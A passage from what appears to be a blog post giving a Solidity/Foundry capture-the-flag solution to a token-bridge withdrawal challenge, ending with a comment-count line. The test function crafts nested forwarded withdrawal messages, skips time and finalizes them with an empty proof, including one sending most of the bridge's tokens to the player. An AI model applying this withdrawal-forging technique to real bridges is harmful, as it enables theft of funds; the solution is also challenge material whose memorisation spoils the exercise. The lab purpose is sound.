assertEq(l1Gateway.root(), WITHDRAWALS_ROOT);
assertEq(
token.balanceOf(address(l1TokenBridge)),
INITIAL_BRIDGE_TOKEN_AMOUNT
);
assertEq(l1TokenBridge.totalDeposits(), INITIAL_BRIDGE_TOKEN_AMOUNT);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_withdrawal() public checkSolvedByPlayer {
console.log(address(l1Forwarder));
console.log(l2Handler);
console.log(address(l1TokenBridge));
console.logBytes4(l1TokenBridge.executeTokenWithdrawal.selector);
console.logBytes4(l1Forwarder.forwardMessage.selector);
bytes memory testdata = abi.encode(
uint256(1),
address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),
address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),
uint256(0x66729b95),
abi.encodeWithSignature(
"forwardMessage(uint256,address,address,bytes)",
uint256(1),
address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e),
address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),
abi.encodeWithSignature(
"executeTokenWithdrawal(address,uint256)",
address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e),
10 ether
)
)
);
console.logBytes(testdata);
console.logBytes32(keccak256(testdata));
vm.warp(uint256(0x66729b95) + 8 days);
bytes32[] memory proof = new bytes32[](1);
l1Gateway.finalizeWithdrawal(
uint256(0),
address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),
address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),
uint256(0x66729b63),
abi.encodeWithSignature(
"forwardMessage(uint256,address,address,bytes)",
uint256(0),
address(0x328809Bc894f92807417D2dAD6b7C998c1aFdac6),
address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),
abi.encodeWithSignature(
"executeTokenWithdrawal(address,uint256)",
address(0x328809Bc894f92807417D2dAD6b7C998c1aFdac6),
10 ether
)
),
proof
);
l1Gateway.finalizeWithdrawal(
uint256(1),
address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),
address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),
uint256(0x66729b95),
abi.encodeWithSignature(
"forwardMessage(uint256,address,address,bytes)",
uint256(1),
address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e),
address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),
abi.encodeWithSignature(
"executeTokenWithdrawal(address,uint256)",
address(0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e),
10 ether
)
),
proof
);
l1Gateway.finalizeWithdrawal(
uint256(3),
address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),
address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),
uint256(0x66729c37),
abi.encodeWithSignature(
"forwardMessage(uint256,address,address,bytes)",
uint256(3),
address(0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b),
address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),
abi.encodeWithSignature(
"executeTokenWithdrawal(address,uint256)",
address(0x671d2ba5bF3C160A568Aae17dE26B51390d6BD5b),
10 ether
)
),
proof
);
l1Gateway.finalizeWithdrawal(
uint256(4),
address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),
address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),
uint256(0x66729b95),
abi.encodeWithSignature(
"forwardMessage(uint256,address,address,bytes)",
uint256(4),
player,
address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),
abi.encodeWithSignature(
"executeTokenWithdrawal(address,uint256)",
player,
INITIAL_BRIDGE_TOKEN_AMOUNT - 30 ether
)
),
proof
);
l1Gateway.finalizeWithdrawal(
uint256(2),
address(0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16),
address(0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5),
uint256(0x66729bea),
abi.encodeWithSignature(
"forwardMessage(uint256,address,address,bytes)",
uint256(2),
address(0xea475d60c118d7058beF4bDd9c32bA51139a74e0),
address(0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50),
abi.encodeWithSignature(
"executeTokenWithdrawal(address,uint256)",
address(0xea475d60c118d7058beF4bDd9c32bA51139a74e0),
999000 ether
)
),
proof
);
token.transfer(address(l1TokenBridge), token.balanceOf(player));
}
到此完结
文章有(1)条网友点评
test